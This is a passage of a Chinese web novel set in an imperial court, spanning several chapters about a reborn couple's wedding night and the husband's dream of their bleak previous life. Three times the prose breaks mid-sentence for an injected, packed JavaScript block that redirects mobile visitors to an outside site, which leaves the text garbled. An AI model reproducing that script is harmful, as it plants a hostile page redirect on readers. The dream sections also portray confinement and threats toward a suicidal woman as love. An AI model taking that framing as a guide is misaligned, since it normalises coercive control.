“吱呀”一声,房门打开,温雪自却扇上方抬眸望去,是容适走进了里屋,然后缓步走到了她的身侧坐下。
几位太学之中勉强与容适算得上交好的高官子弟,也大着胆子入了房门,却没敢大闹洞房,只得恭贺了几句。接着在媒人的指引下,将撒帐与合髻之仪做完,容适才赶紧让房中的人都通通退了下去。
如此热闹了一天,别说是本就不喜人群的容适,就连温雪都快顶不住了。所有热闹散去,屋内终于只剩下温雪与容适二人,他们终于能松下一口气来。
温雪放下却扇,凑近容适,这才闻见他身上已经有淡淡的酒气,再打眼仔细一瞧,他眼中也已有了一丝不易察觉的朦胧醉意。
她轻声道:“子安,我们还有酒要喝呢。”
新婚夜,夫妻俩须得喝了这合卺酒,才算礼成。
桌上放着一个玉制酒壶,倒扣着两个小杯子。温雪拿起酒壶,倒了两杯酒,其中一杯递给了容适。
“合卺酒,得交杯喝。”温雪道。
容适知道,但不知是酒香太浓,还是温雪身上的幽香太浓,他此刻越发觉得迷醉了,感觉此刻像是在做梦一般,有些神志不清了。
目光黏糊地落在温雪身上移不开,手却顺应着温雪的动作,接过酒杯,与之交臂饮下。
喝完酒,重新在床榻上坐下后,温雪在他耳边低语:“子安,过了今夜,我们便是真正的夫妻了。”
“真正的夫妻”一词容适倒是听了个明白。
她送他的话本子中,那青梅竹马两小无猜的男子与女子成婚后,应当是……
情到浓时,缠绵悱恻。
容适呼吸一滞,目光所停顿之处,满目都是温雪晶亮的眸光,她白似雪的肌肤,红似火的胭脂薄唇。
温雪轻轻推了他胸口一下,嗔道:“怎的还发愣呢?”
容适眨了眨眼,这才想起自己该做什么——他应先将她那堆发饰拆下。
那凤冠金光闪烁,照得人更加晕眩,他伸手仔细地将发簪一支支拆下,生怕弄疼了她。
凤冠取下,一头长发散落在肩上,温雪松了口气,终于觉得头顶轻了不少。
她伸手抚上容适的衣襟,想将他的婚服给脱下。
那柔软的触感刚碰到容适身上,哪怕是隔着衣衫,他也觉得犹如有一团火,随着她的指尖在自己身前轻点。
她点到哪里,他便热到哪里,直到最后,他已经几乎浑身都热了起来。当他们俩都只剩一层薄薄的里衣之时,容适已经觉得后背都覆盖了一层薄汗。
随着他的里衣也被剥落,才终于感到了一丝凉爽之意,渗透全身。
可他身上某一处,却是更热了……
容适喉头莫名发紧。
他本想不要显得如此……猴急。
可看到温雪肩头滑落衣衫,露出大片雪白的吹弹可破的肌肤之时,他终究是忍不住,伸出手搂过她的腰身,然后俯身吻了上去。
分明不是第一次吻她,可却是比第一次她偷吻自己时还要倍感紧张。以至于他浑身的肌肉都不由自主地紧绷了起来,与之触碰的肌肤,都再次如一团旺火,烧了起来。
只是,亲吻到一半,他便又迟迟做不下去之后的动作。本能在叫嚣,可看着温雪定定的眸子看着他,他就……又心生怯意。
若是她不喜欢这般,若是她嫌弃自己,若他弄疼她……可如何是好?
温雪见他突然停下,眼神露出一丝迷茫,只觉得他是已经有些醉了,他身上微微的酒香连带着她也浑身软绵绵的。
“醉了?”她轻声问。
容适却是闪烁着眸光看她,“没有。”
见他眼神微微躲闪,温雪心中恍然。若不是喝醉了,那便是……他不会?
温雪想起上一世,他们第一次行房,是在她被册封为后,真正成为他妻子的那一天。
那一晚虽是容适主动的,可因着那时他们关系并不如何好,二人都带着情绪,他那表现也是……有些粗鲁,像是随着本能硬上的弓。
虽说后来他的表现便突飞猛进了,可第一次时那模样……的确是不大熟练。
嗯……他自小孤僻,开窍得晚,身边又无人教他,不会也是正常的。
温雪抿了抿唇,暗暗下了决心般,伸手攀上了他的脖颈,使力翻了个身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548657|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
反过来将他覆在自己身下。
容适察觉到她的意图,瞳孔微缩了一瞬,还是遂了她的意。
他躺在床上,看着她在自己身前,露出线条弧度优美的颈项与清晰可见的锁骨。
她方才还白如新雪的肌肤,如今沾染上了几分红晕,如星如月的眼眸,此刻竟是含情脉脉,媚意横生。
还有她那柔软的长发垂落,丝丝缕缕落在他的胸口,挠人的痒意酥酥麻麻,一瞬间窜遍全身。
温雪也顿觉有些不好意思,伸手覆上他的眉眼,这才躬身吻落。
容适顿时气息一滞。她的身上似乎散发一种幽香,气若幽兰,他还从来没有体会过她这般模样。
直到他的唇齿间忍不住吐出一声闷哼,细细密密的汗从额间冒出,他才咬着牙开口:“雪儿,你为何会……”
“子安不知道吗,大婚以前,女子都会被指导……闺房秘术。”温雪也羞得很,这些话,她只敢在他耳边低声说,声音越轻,她的脸上便越觉得滚烫。
虽说的确如此,可实际原因自然不只是因为这个。
她心道,再怎么说,她也是比他多活了好些年,还曾经与他是相处多年的夫妻,与他经了不少人事……自然是比他要懂一些。
这一夜,烛台随着床一同轻轻晃动。烛影摇曳,映出二人在床上浮动的身影,伴随着温热的喘息与断断续续的呼叫。
温雪累得瘫倒在他身上,容适却又搂过她的腰身继续。
他低声唤:“雪儿……”
温雪耳根子一热,便又顺了他的意。
容适眼角泛红,心想,原来这便是她话本中所言的“红鸾帐暖,春宵一刻”的滋味。的确令人……回味无穷。
窗外的月影在云雾间进进出出,影影绰绰,忽明忽暗;初夏的蝉鸣若隐若现,忽高忽低,此起彼伏。
雪球守在后院,躺在窗棱之下,大概是嗅到了野猫的气息,忍不住尖声嗷叫了一声。
不知过了多久,夜色渐深,太子府的红火喧嚣过去,也陷入了沉寂。
屋内,温雪被折腾得腰酸腿抽筋,已然顾不上洗漱,与容适一道合上了被子,看了一眼对方,温雪的眼皮子便开始沉沉地打架。
“雪儿,再来一次……”
他声音在她耳边响起,温雪紧紧闭上了眼,将他往自己身上钻过来的手推了回去。
容适:“……”他悻悻缩回了手,老实地搂着温雪睡了过去。
温雪在彻底失去意识之前,迷迷糊糊地,她心想:上苍恩德,让她的一切可以重来,从今日开始,他们二人的未来便都是新生。
是夜,明月当空的天空中,却忽然有几片云海翻滚着,遮住了月光,接连打了几声闷雷,打破了本该沉寂的夜色,却没有落下雨来。
屋内的二人睡得昏沉,谁也没有听到这雷声。
温雪正在梦中,恍惚间回到了上一世她被封为皇后,与他大婚那一日。宫中的排场更大,更华丽,她心中却没有多少暖意。
虽是大婚,但他们早已习惯了独处时横眉冷对,一语不发。
于是,那一日的她郁郁寡欢,一身红衣,却是用胭脂水粉掩去的憔悴忧思的面容;容适也一脸凝重严肃,未见几分喜色。
虽躺在同一张床上,他们却心思各异,不知对方在想什么……
忽地,画面一闪,温雪便来到了那日的大铭寺,她与容适一同在放生池边,看到了花开得不合时宜的并蒂莲。
并蒂花开,乃是双生之意。
温雪不知道的是,睡在她身旁的容适也同样在睡梦之中,但他却在陡然之间紧紧蹙起了眉头,额头上冒出了细细密密的汗水。
“温雪……温雪!”
他低喃着出声,语气中是他不曾有过的阴郁与不甘。
31. 第 31 章
容适做了个梦,梦里是一个完全不一样的世界。
在那里,他还是一个,于黑暗的角落踽踽独行,却总是在默默觊觎着美好光明的少年。
因为爱慕、贪恋那个女孩身上从不吝啬的美好与温暖,从此他也迷恋上了雪天。
可是,那一年的冬日,漫天大雪纷飞,格外地冷。
这年轰动京城的事很多,太后被刺杀而亡,二皇子因谋逆被流放。紧接着,温尚书又因“勾结北辽”的罪名,举家被押入大牢,处以极刑。
温雪原本被送去了城外远亲家中,半途中听闻京中之事之后,她立刻风尘仆仆地赶回来,一路跌跌撞撞,腿都磨破了皮,还染着鲜血,就跪在了皇城外的雪地里。
她入不了宫门,却想求皇帝开恩,求皇上见她一面。可只有容适知道,她想要面圣的消息,绝不可传入皇帝耳中,否则,她便是害了自己。
于是,他命人将温雪的消息通通拦了下来。
然后站在不远处,看着她穿着一身单薄的外衣,在厚厚的积雪中瑟瑟发抖,平日的红唇毫无血色,手和脖颈显出了几分青白。
他身披裘衣,都觉得寒风刺骨,无法想象她该有多冷。
他握紧了拳头,一步一脚印,走到她身边,低声道:“温雪,你跪在这里也是徒劳,我劝你回去。”
温雪没什么表情,她看起来已经冻得麻木,直直盯着皇城里头,眼神里还残存着的,或许是希冀?亦或是思念?
他不知道,他如今还不能完全读懂她的喜怒哀乐、心中所想。
她眼珠微动,似是瞥了他一眼,声音虚弱道:“多谢四殿下关照,小女见不到家父,是不会走的。”
如此来来回回明里暗里劝说了几次,她都没有听,他将自己身上的狐裘给她,她也直接脱了扔在一边。
“温雪,你可真够倔的。”他咬牙切齿,语气不善。
不过她的性子,向来如此,看起来温柔乖巧,实则骨子里韧劲大得很。
容适不敢告诉她,她父母刚被押入大牢的时候,就已经被秘密处决了,她的哥哥也已经被流放,只是这消息还未从宫中传出。
也就是说,她做这些都是徒劳。
可他劝说不动她。
直到看她在雪中跪了两天两夜,身上头发上都有了白茫茫的积雪,身子骨已经彻底撑不住了,竟是两腿一软,就要倒下。
他心头一紧,立刻上前将人扶住,披上狐裘,一把打横抱起,将人直接掳回了府中。
他听到自己的声音说:“温雪,自今日起,我不会再放过你。”
她应是听到了自己的话,刚听完,便两眼一闭,昏了过去。
他将温雪带到府中,太医诊治了她三天三夜,她才转醒,可身子骨却已经冻坏了。
太医说,她的身子会落下病根,也无法生育。
无法生育事小,可落下病根,就意味着她身体一直好不起来。
他恨急了自己,竟是没有更早地直接将她从雪地里掳走,还任她在雪中跪着。
自此,这件事便成了他心中最大的一件憾事。
从此,他想,即便她再恼恨自己、再讨厌自己也无事,他只要护她平安健康。
按道理,他还在太后去世的一年孝期内,是不得娶妻的,所以他将温雪带入府中后,也未能给温雪任何承诺。
自这一场大病后,温雪几乎日夜都在床上好生将养着。
容适常来看她,又不说什么话。
一日,她面无表情地倚在床头,气若游丝地开口道:“殿下,我虽不涉朝堂政事,但有些事我也有所耳闻。”
“我爹爹的死,与这朝堂上的夺嫡之争,可有干系?”
容适静静看着她,沉默不语。
那些争斗错综复杂,并非三言两语能解释清。温尚书的死……终究是含冤而亡的,可事实真相和过程,他说不出口。
因为罪魁祸首、制造这一切悲剧的人,就是她在雪地中跪求了两天两夜、坐在最高位置上、不可撼动的那个人。而她对此无可奈何,她什么也做不了。
若是她知道了真相,只会更加崩溃,更加无力。她如今的身子,再承受不住这样的打击了。
他只能怪自己没能早些强大起来,无法护住她的家人。
为此,他想,他必须要学会伪装自己,然后一步步走到最高的那个位置上,方能给她一片安宁,将她护在自己的羽翼之下。
见他不说话,温雪大概是在心中暗下了猜测。若是因此而获罪,必然是成了如今已夺嫡落败之人的弃子。
“是因二皇子吗?”她先问了一句,又转而冷笑道,“罢了,不重要了。总归,我们不过都是棋子,如今成了弃子,欲加之罪,何患无辞。”
她说得没错,也终于不再过问,看起来像是放下了,这令容适松了口气。
担心她不甘心,也担心她听到一些风言风语,他选择了将她关在府中好好疗伤,还让人紧紧盯着她,若是她跑出去,便将她拦下来。
可即便如此,温雪父母被处决、兄长流放途中意外遇害的消息,还是传到了温雪耳中。
这一日,他刚从宫中回府,府中小厮便立刻冲了过来,慌张道:“殿下,温姑娘她,她跳井了!”
他顿时觉得眼前一黑,冲进了府中,见到她躺在床上浑身湿透,阖眼沉睡的样子,他顿时心脏被揪紧了。
所幸他府上有常备的太医,正在为她诊治。
他发狂道:“必须给我救活她!”
太医惶恐地继续医治温雪,盼着她能醒来。
之前冻伤的身子骨还没全好,如今竟然又这样跳井,如此糟践自己,她当真,当真是不想独活了……
幸亏,温雪被发现得及时,刚跳下去就被人救了上来,因此她没有昏迷多久,就醒来了。
她刚睁开眼,眼神还迷离着。
见到容适,她没有大哭大闹,只静静地怨道:“你为何,为何将我关起来,我竟连父母、哥哥的最后一面,都未见到……都未见到……”
他早就知道,她已经见不到她的家人了,不想让她知道,便是不希望她如此伤心欲绝。
可他担心的终究是还是发生了。
她语气平静,平静到似要消亡:“殿下若是这么喜欢我这躯.壳,不如让我去死,将我化作了一抔黄土,洒在院中。我便能常伴殿下了。”
他怔忡了一瞬,没能听明白她话里有话的暗讽。
忍不住怒意冲天,对温雪阴沉道:“温雪,你的命是我救回来的,便是我的,我没有让你死,你就不准死。”
然而温雪沉默不语,似乎已经听不进去他说的话了。
于是他又干脆转头和下人道:“从今往后,都将温姑娘给本殿下看好了,没有本殿下的允许,别让她出这院子半步!还有院子里的井,通通给我封死!”
温雪登时受了刺激般,发出了急促的哭音。
她似乎,是被他的模样给吓到了?在怕他?
他心想,她怕他也好,这样她应当会乖乖听话,不会轻易寻死了。
自这一日起,温雪就被关在了院子里,容适除了进宫上朝或是办理公务之外,其余时间都在温雪身边陪着她。
连睡觉也在她身边待着,看着她沉睡。
只是,温雪似乎还一直没从巨大的刺激中缓过神来,总是一语不发。
又没多久,容适便被封为了太子。温雪知道后,温温顺顺地道了声喜:“恭喜太子殿下,夺嫡成功。”
他还当真以为她是在恭喜自己。
直到一日,容适又刚从外边回府,温雪身边的丫鬟来通报,“殿下,温姑娘她今日又……”
“她怎么了?”他心中升腾起不好的预感,急切道。
“她今日看着梁柱发呆,用撕了的衣衫做成长布,险些悬梁自尽……”
悬梁……
他脑海中闪过他母妃当年悬梁自尽的画面,呼吸一窒。
眩晕一阵缓过神来,他气愤地冲进温雪的寝房,“温雪,你好大的胆子,趁着本殿下不在府中,竟敢偷偷悬梁?”
温雪似又被他吓到,一语不发地掉下泪来。
容适怔忡一瞬。
他……有这般吓人?
他努力控制语气,小声了些对身边下人道:“往后,将府上所有的梁都给我封死。”
此后,他更加守在了温雪身边,看着她,并将自己过去在宫中养大的雪球放进了她府里。
虽说,他不想让她把心思放在其他人,包括猫上,但他更希望他不在时,她能不那么孤单,能好起来。
温雪看着雪球,果然眼中有了些色彩,“它叫什么?”
“叫雪球。”
“哦?和我很像的名字呢。”
她看起来兴致高了一些。
有了雪球陪着温雪后,她的精神状况似乎便好了许多。至少不再会突然陷入沉思,突然掉下眼泪,突然想起什么郁郁寡欢。
逐渐恢复了一些过去的灵动与活泼。
她温声解释:“殿下,我落水后总有些神志不清,有时会忘却一些事……但现下已然意识清明了。”
原来是这般……怪不得她有时候会有些奇怪。
“那如今,你还想死吗?”若是,那不如全都忘了好。
温雪不答。
容适又想出口威胁她不许寻死,她突然开口了:“我这命是殿下给的,不会轻易寻死了。”
容适将信将疑,让太医反反复复查了她的身体,才确认她除了身子因落下了病根,极其虚弱以外,其他都已经恢复得差不多。
直到满一年孝期那日,他和温雪说:“温雪,做我的太子妃。”
她却沉默了一会儿,沉声说:“我一个罪臣之女,实在不堪成为殿下的太子妃,还望殿下放过我。”
“你说的放过你,是让你自己去寻死觅活?”他阴沉着脸讽道。
“殿下,我已说过,我的性命是殿下给的,不会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555957|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己寻死了,殿下想如何处置我都行,但我是罪臣之女,担不起太子妃的名号。”
“罪臣之女又如何,你当我会在意此事?总之,你已是我认定的太子妃。”
温雪垂下眼眸,她的眼底冰冷,失去了对一切的渴望,对他这样说,竟是一点反应也没有,连一丝丝期望都无。
容适压下心中失望,转身离去。
他登基为帝前,再次提出要温雪做他的皇后,没想到这一次,温雪一口应下了。
还未来得及欣喜,温雪就道:“好,温雪这条命是太子殿下给的,温雪无以为报,往后殿下说什么,便是什么,无论殿下想要我的身子还是身份,您都尽管拿去。”
这女人……!她便从未有过一刻觉得,自己是真心对她的吗?
他沉默了半晌,无言以对,冷哼一声出了寝门。
朝中重臣自是不同意他立一个罪臣之女为后,他只好以一些强硬手段让这些臣子闭嘴,从此再也无人胆敢非议温雪。
册封大殿那日,也是他们大婚之时,温雪上了妆后的模样,遮掉了她的病容,精致美丽。
然而,新婚夜,他推开寝房的大门时,她正对着镜子,拿起了一把剪刀。
容适瞳孔猛地一缩,冲上前去将那剪刀夺走,愤怒地丢出门外。
那剪刀直接扎在了院中的草地上。
“温雪,你还真是惯会骗人,我告诉你,你的身子你的人都是我的,无人可以动,包括你自己。”
他是指尖掐着温雪的脸说这话的,并没有用力,却好像是吓得她眼角都渗出了眼泪。
很好,她怕了,就不会反抗了。他悻悻地松了手,转身离去。
大婚夜,他面上不显,心中却是狂喜。
至少今夜过后,她就是他的妻子了。
只是这合欢之礼……太医说过,她身子骨格外虚弱,不适合太猛烈的运动。于是他与她行房之时,虽做足了功课,但还是有些别扭。
一来是没实践过,二来是怕伤了她的身子。
不过有了第一次的经验,他便很快掌握了诀窍。
只是她身子实在是太弱了,太医不让他多折腾,夜夜伴在她身边睡觉,却是难熬得很。
日日夜夜相守相伴,他恍惚间,竟然真的觉得他们如同一堆恩爱夫妻一般了。
如果不是温雪总是冷言冷语地提醒他的话:
“臣妾的命,是皇上给的,自然是想如何便如何。”
“皇上若想让臣妾做这笼中鸟,那臣妾便做了,皇上高兴便行。”
“……”
她终究对自己生不出半分情意来。
如何才能让她爱他?他不知道,也捉摸不透。
他也试着松开自己的手,她说她想去外面的世界散散心,于是他放她出宫,可就是她唯一一次出宫,又传来了下人的急报。
“皇上,皇后娘娘出宫后说要去祭祖,路过一河流时见一孩童落水,便跳河救那孩童,险些被冲走了……好在人都救上来了。”
听闻她没事,容适这才放下担忧,转而怒地将玉玺也给摔了。
待见到温雪湿着身子回来,他才收了气愤,板着脸道:“让你出宫,是让你去做菩萨的?”
温雪动了动唇,没有说话。
“皇上尽管罚臣妾便是,禁足还是抄书,臣妾都愿受着。”
容适气不打一处来,似一拳打在了棉花上,有些怒极反笑,“那从此,你便别再出宫了。”
温雪乖巧垂眸,眼神空洞得像什么都无所谓的破布娃娃,“是。”
即便在自己身边待了这么久,她果然还是对自己生不出情意与眷恋,所以才能豁出命去,半点求生的欲望也无,像一块没什么情绪的木头。
他顿时心脏一阵抽痛,不明白为何他们会变成这样,想说的话说不出口,想要的回应从来听不到。
年年岁岁,逐渐变得词不达意,言不由衷。
“温雪……温雪!”
无尽的怨气涌上心头,他猛然睁开眼来。
映入眼帘的,却是穿得清凉的温雪,此刻正餍足地躺在他怀里,阖着眼蹭了蹭,娇嗔地应了一声:
“子安,睡觉啦……”
看见身侧的女人,容适大脑宕机了片刻,所有的记忆猛地一起涌入脑海,与上一世的记忆打架。
一边是她对自己冷言冷语,恭敬疏离。
一边是她对自己含情脉脉,声声娇脆。
然而后者涌出的画面情绪,尽是自己又不是自己。这两年来的种种,与她缠绵悱恻的画面,悉数在脑海中闪过。
他眼底里闪过茫然,心中升起了一阵一阵的不甘与酸涩。这些情绪,如同冒泡似的一个个升腾而起,逐渐沸腾。
她居然……
也能对自己这么好?
原来,她不是对谁都倔强、有韧劲,她是可以想对谁好时,便可以将人宠上了天,不想对谁好时,她便可以毫不在意、视若无睹、无比凉薄。
32. 第 32 章
翌日清晨,阳光慢悠悠地洒落,仿佛昨夜的天雷未曾出现过一般。
温雪睡得很沉,转醒时,她摸了摸身侧,容适已经不在身边。
但下人已经准备好了热水,怀秋走到她的身边,轻声道:“小姐……哦不,太子妃娘娘。”她立刻改口,“太子殿下已经吩咐下人们为您备好热水,您先起来沐浴一番吧。”
围屏后头,浴桶中升腾起阵阵雾气。
温雪探出脚试了一下,水温恰好。于是懒懒地在浴桶中躺下,卸下了一身疲惫。
怀秋站在一旁为她添水,水流自温雪的肩颈处淌过,无意间叫怀秋瞥见了她脖颈上的红晕。
怀秋羞赧地惊呼一声,“娘娘怎的昨夜还受伤了!太子殿下怎么这么不知道怜香惜玉?”
顺着她的目光,温雪低头瞧见身上的痕迹,脸红了一瞬,默默埋进了水里,从水中吐出来一个气泡来。
“这,这不是伤……”她辩解的声音如蚊蝇般细小,也不知怀秋听见没。
温雪心道:第一次嘛,没有经验稍微粗鲁一些,也,也是正常。不过他这个人,一向学得快得很,想必很快就能……
哎呀,她在想什么呢。温雪觉着脸更烫了一些。
沐浴一番后,换上干净的衣裙,立刻觉得浑身舒爽。
此时,下人又端了丰盛的早膳过来,只不过此时已经日上三竿,已经称不上是早膳了。
而容适已经早起用过膳了,此时正在忙公务,便不再陪她用早膳了。
温雪也没将此事放在心上。因着昨夜运动太多,已是饥肠辘辘,看着桌上丰盛的餐点,心道容适还真是贴心,准备的每一道膳食,竟都是她爱吃的。
用完早午膳,温雪才心满意足地想着去见见容适。
“太子殿下现在在何处?”温雪问。
“殿下应当是正在书房,处理公务。”怀秋答。
得了答案,温雪便对镜收拾了一番着装打扮,转身出门,循着书房的方向去了。
书房内。
陆风站在容适身侧,道:“殿下,太子妃已经醒了,已经沐浴完毕,也用过了早膳,此刻应当正往书房过来。”
不知为何,陆风总觉得今早起床的太子殿下似乎与往日有些不同,可又说不上究竟哪里不同。
或许是眼神,或是周身气质,比往常要沉稳许多,似乎是一夜经历了多年风雨。
并且……也比往常要更加关注温姑娘。
从前他虽然心念温姑娘,但不至于让自己紧盯着温姑娘的动向,将她做了什么吃了什么,一五一十汇报过来。
听闻陆风的汇报,容适在桌案前写字的手一顿,应了一声,“嗯,你下去吧。”
陆风刚刚消失在原地,便听一阵清脆的脚步声响起,温雪出现在了书房门口。
“子安。”她轻灵的嗓音轻唤了一声,笑意盈盈地迈着步子进来。
那明媚的笑意直冲他的眼底和心里,昨夜那无法按捺的不甘与酸涩重新涌上心头。
在上一世的那个世界里,她从未如此对自己露出这般小女儿家的神态……
她爱上了这一世的自己,却没能爱上前一世的他。
是否爱一个人的区别,真的很明显。
温雪见他正站在桌案前,看着自己发愣,心道他莫不是经历完昨夜那一番云雨,现下才知道害羞了?
她心中暗笑,干脆直接上前去搂住了他的腰,在他的腰间小小使力掐了一下。
她知道他这一年都有在练武练剑,这肌肉都是结实了不少,腰肌都硬邦邦的了。
尤其昨夜,他的腰可甚是好使。
容适被她如此热情的一搂抱,登时有些无所适从。他那十年的记忆里,从未得到过她如此主动的拥抱,她还这般……掐自己。
这一掐,令他浑身都要燥热沸腾起来。
转而又想到,她现下搂的其实并不是与她经历了十年的他,而是今世的他……这无异于她在搂另一个人!还如此亲昵!
登时又觉心中热火突然被一盆冰水浇灭,心中一阵拔凉。
好似有什么东西揪住了他的心脏,那是——嫉妒。
是疯狂的嫉妒……
上一世,他用尽十年力气,如何也得不到的真心,却叫今世自己记忆里这个男人如此轻易得到了。
上一世的十年相知相伴,细细想来,竟是比不过这一世这短短两年时光。
为何,为何会如此?
他突然觉得浑身都被一阵酸楚之感席卷包裹。这种滋味在那十年里,他尝过很多次,可没有一次如此刻这般浓烈,烈到他都快承受不住。
见容适没有反应,温雪这才心生奇怪。
依照她对他的了解,她如此这般动作,他应当害羞地捉住她的手,然后低声道:雪儿,莫要捉弄我了。
可是……他却沉默了。
似乎有些不对劲。
温雪眉头一皱,佯装哀怨,嗔怒地锤了锤容适。“昨夜新婚,今早便不见人影,还如此冷漠,莫不是刚成婚,便后悔了?”
说完,眼睛一红,用力眨了眨眼,晶莹的泪花就要从眼里眨巴出来。
容适看着她这般小女儿家的娇嗔模样,忍不住喉结微动,压下了那酸涩之感,赶忙回搂她,开口辩解。
“我没有……我怎么可能后悔。”他此生最不后悔的事,就是与她成婚,无论前世还是今生,都是如此。他只怕她后悔留在他的身边。
只是今早,他酸意横生,无处发作,只好让自己先冷静冷静。
走出院门之时,他又觉得不放心她,忍不住按照过去的习惯,让手下盯着她的一举一动。
可是方才一见她,他忽然心中升起了一个念头:如果她注定不会爱上上一世原本的他,却可以爱上今世的他,那他演一演,演出她喜欢的样子,也不是不可以。
比起做自己,他更想要她爱他。
于是眉眼都柔和下来,将她紧紧嵌入自己怀中,低声问:“我只是方才忙昏了头。雪儿昨夜睡得可还好?”
温雪本就是想发作一下,让容适恢复平日的模样。现下看他不再如刚才般沉默,温雪便立刻笑了开来。
说起昨夜……
温雪顿觉羞涩起来,脸色微红。
最后都是累得昏过去的,醒来时都已日上三竿,睡得能不好吗?
“你故意这么问的是不是?”
“我没有……”
她那质问,看似责怪,实则娇嗔,这是在对他……撒娇?容适有些无奈,心头瞬间一软,如同被一团棉花包裹一般,软绵绵的。这是他过去从未有过的待遇和体验,如今感受到了,竟是有些通、体、舒、畅的快意。
他伸出手,覆在温雪的脸颊上,指尖轻轻柔柔地揉搓,接着又从她脖颈处穿过,落在她的后颈。而她的眼里尽是羞涩与含情脉脉。
手掌轻轻用力,令她靠近自己,他低头抵着她的额头看着她,温声细语道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561475|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪儿,我好想你。”语气里带了些满足的喟叹。
温雪笑了一声,眉眼弯弯,奇怪道:“我不是一直都在吗?”
“可我还是想你。”
温雪热了脸,“你今日怎么怪怪的。”
“或许是,与你成婚,被喜悦冲昏了头脑,觉得不真实极了。”
觉得不真实啊……温雪闻言,直接踮脚凑近了他,在他唇上啄了一口,随即离开。
“这样,可有实感了吗?”
容适咽了口口水,眼神微眯,逐渐危险,出口的话却是:“还是没有。”
温雪再次踮脚啄了他一口。
“如此呢?”
“还是没有。”
温雪羞恼,锤了他一下,“你又是故意的吧……”
然而话没说完,容适就直接倾身凶狠地封住了她的唇,令她要出口的嗔怪悉数咽了回去。
温雪从唇齿间流露出几声惊呼,却在辗转之间断了声音,转而又沉溺于他的亲昵,只余下双方喘息的鼻息之声。
半晌过后,她都要喘不过气来了,容适才放开了她。
容适声色喑哑:“要这样才有。”
温雪:“……”他果真是天赋异禀,昨夜还吻得略显生疏,今日便如此技巧娴熟,令人欲罢不能。
忽然之间,容适直接俯身将她抱起,天旋地转之间,温雪已坐在了书房桌案之上,恰好比他高出了半个头,他只需微微仰头便能与她的唇齿严丝合缝,再次深深吻上。
情到浓时,他又忍不住将她打横抱起,置于了床榻之上。
突然意识到事情的发展开始失控,温雪又急又羞地推开他,“我刚洗完澡呢……”
容适也急得很,“一会儿再洗一回。”说完,他又一顿,强调了一句,“与我一起洗。”
刚要俯身,温雪又推他,“你,你不是还要公事要做吗?”
容适恼道:“随他去吧。”
“你怎的能白日宣……”
没说完,立刻就被封住了唇。
今日这一回,不知怎的,他似乎格外卖力,在她身上通通吻了一遍,从头到脚都没有放过。
容适喘着粗气,看着温雪浑身泛红的模样,心中大动。
在他的记忆里,那十年间,他们有过合欢之礼,可温雪身体不好,不宜行房,因此实在为数不多,还不能做太多过分之事,得时常克制,令他忍得十分辛苦。
而且那时,她只将自己当做是皇后,将他当成皇上……却不是真正的夫妻,于是与他在床上也从未有浓情蜜意的时候。
一想到这个,他心中就觉得怒意滔天:今世的他昨夜的表现这么差,她怎么还能对自己如此温柔写意?
他一边换姿势,修长的指尖换着地方撩拨,一边撩拨还要一边低声问她:
“这般舒服吗?”
“这般呢?”
温雪:“……”
他的手所过之处,尽是惹人发烫之处。
最终,他咬了一下她的耳垂,沙哑地沉声道:“雪儿,唤我,唤我的名字。”
温雪顺应地答:“子安……”
只是最后的几句,变得支离破碎,一句完整的话也说不出来。他说什么,她只得应声,除此外其他什么也想不到了。
再次沉沉睡下之前,她心中羞恼地想,知道他天赋异禀学什么都快,可又怎么能……学得这么快。
才过去一夜,就已经这般了解她、这般、会折腾她。
33. 第 33 章
第二天早晨起来,容适又不见了人影。
温雪刚出门,便听见利刃划破空气的“嚯嚯”风声。果不其然,抬眸便见到了容适在院中练剑的身影。
自从一年多前他们遇到刺杀之后,他就不断精进武艺,如今他不仅善文还能武。
温雪此前见过几次他练剑,虽是“半路出家”,但还挺那么回事。
今早,容适是再次被噩梦惊醒的,他又梦见上一世的场景了,没能保护好她的后悔与害怕失去她的恐惧密密麻麻地交织着,织成一遮天蔽日的大网席卷他心头。
直到猛地睁开眼,看见她还好端端地在自己身边,他才松了口气,这才想起他们如今已是夫妻,她还爱着那个愣头青一样的小子,心中顿时又是烦闷郁结无处宣泄。
于是挥剑,妄图斩断自己那些不可言说的执念。
不知练到何时,容适余光瞥见到温雪走了过来,笑意盈盈地看向他的方向。
是了,这一世的他练剑时,她也是这样一脸赞许的模样欣赏他。
登时,他更加绷起了浑身的肌肉,一招一式更加锐利,锋芒毕露。
只见他一身轻薄的玄色常服,随着身姿动作,衣摆束袖猎猎生风,更显飘逸,腕骨翻转间,那剑身如游龙,武出流畅精准的弧度,快到只能看见残存的刀光剑影。
看起来既漂亮丝滑,又好像轻松毫不费力。
